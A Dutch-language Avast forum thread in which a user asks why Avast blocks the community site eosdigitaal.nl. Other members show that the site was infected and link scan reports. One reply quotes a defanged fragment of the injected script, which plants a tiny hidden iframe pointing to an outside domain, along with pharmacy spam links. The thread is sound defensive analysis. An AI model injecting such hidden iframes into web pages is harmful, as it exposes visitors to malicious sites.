Betrouwbare site wordt ineens geblokkeerd door Avast

Non-English Boards Nederlands
1

Al jaren ben ik lid van http://www.eosdigitaal.nl . Sinds een aantal dagen kon ik ineens niet meer op de site. Ik dacht dat deze eruit lag.
Vandaag maar eens gegoogled en nu blijkt dat de site wordt geblokkeerd door Avast. Meerdere gebruikers hebben dit opgemerkt.

Ik heb via Avast, Instellingen, Antivirus, de url van eosdigitaal ingevoerd als uitsluiting. Dit werkt echter niet. Wat kan ik nog meer doen?
En waar kan ik melden bij Avast dat deze site gewoon betrouwbaar is? Aangezien dit een site is met duizenden leden en velen hetzelfde probleem zullen ondervinden.

2

http://i.imgur.com/bM9k3cD.png

De detectie correct
de iframes kwaadaardig Server Error 404 in reactie

http://killmalware.com/www.eosdigitaal.nl/

code malicious

http://sitecheck.sucuri.net/results/www.eosdigitaal.nl

quterra gevonden verdacht bestand geïnfecteerd door dit js:HideMe-l [trj]

http://quttera.com/detailed_report/www.eosdigitaal.nl

avg potentieel actieve malware

http://www.avgthreatlabs.com/website-safety-reports/domain/eosdigitaal.nl/

Deobfuscation

http://wepawet.iseclab.org/view.php?hash=7837bb7816147955badc2f32ddb55eb7&t=1398254514&type=js

3

Hallo Karin en welkom op dit webboard.

En waar kan ik melden bij Avast dat deze site gewoon betrouwbaar is? Aangezien dit een site is met duizenden leden en velen hetzelfde probleem zullen ondervinden.
Het aantal leden zegt niets over betrouwbaarheid. Een site die nu schoon is kan over 5 minuten geïnfecteerd zijn rn dat kan ook een normaal gesproken betrouwbare site zijn.

Behalve de problemen die Jefferson al meldde, kan ik deze er nog aan toevoegen:
http://urlquery.net/report.php?id=1397487677923
Deze website wordt op hetzelfde IP gehost en vormt een ernstige bedreiging voor de veiligheid.
Mocht je dit niet begrijpen, geen zorgen.
Denk maar zo, rood staat voor gevaar :wink:

4

Bedankt voor jullie reacties. Ik zal deze doorsluizen naar het EOSdigitaal forum. :slight_smile:

5

Laten we de site eens doorspitten.
Javascript check levert op: Verdacht

var js_kod2 = document.createelement(‘iframe’); js_kod2.src = ‘htxp://anadoluengellilerkenti.com/img/trans/’; js_kod2.width = ‘5px’; …
re: https://www.virustotal.com/nl/domain/anadoluengellilerkenti.com/information/
Spam check: verdacht -

sois/user/ny76u.html">comprar ** SPAM ** internet farmacia di occasionale, ovvero prima, <a href="htxp://www.iasi.cnr.i…

polonus

P.S. avast Webshield detects iFrame malware there: JS:HideMe-I[Trj].

ZuluZscaler geeft dit ook als een verdacht extern element: htxp://buy-tablets-online.com/buy-xenical.htmlhttp://fetch.scritch.org/%2Bfetch/?url=http%3A%2F%2Fbuy-tablets-online.com%2Fbuy-xenical.html&useragent=Fetch+useragent&accept_encoding=
and the spam → src=“images/thumbs/c888x239/131pr2012-12-06newpharmacyconceptpicturedownload dot jpg” alt=“slideshow” width=“888” height=“239” /
see source here: http://fetch.scritch.org/%2Bfetch/?url=http%3A%2F%2Fbuy-tablets-online.com%2Fbuy-xenical.html&useragent=Fetch+useragent&accept_encoding=

D

6

Het probleem is opgepakt door de admin van het EOSdigitaal forum. Als het goed is zou het nu opgelost moeten zijn.
Jullie bedankt voor het doorlichten!

7

Graag gedaan hoor.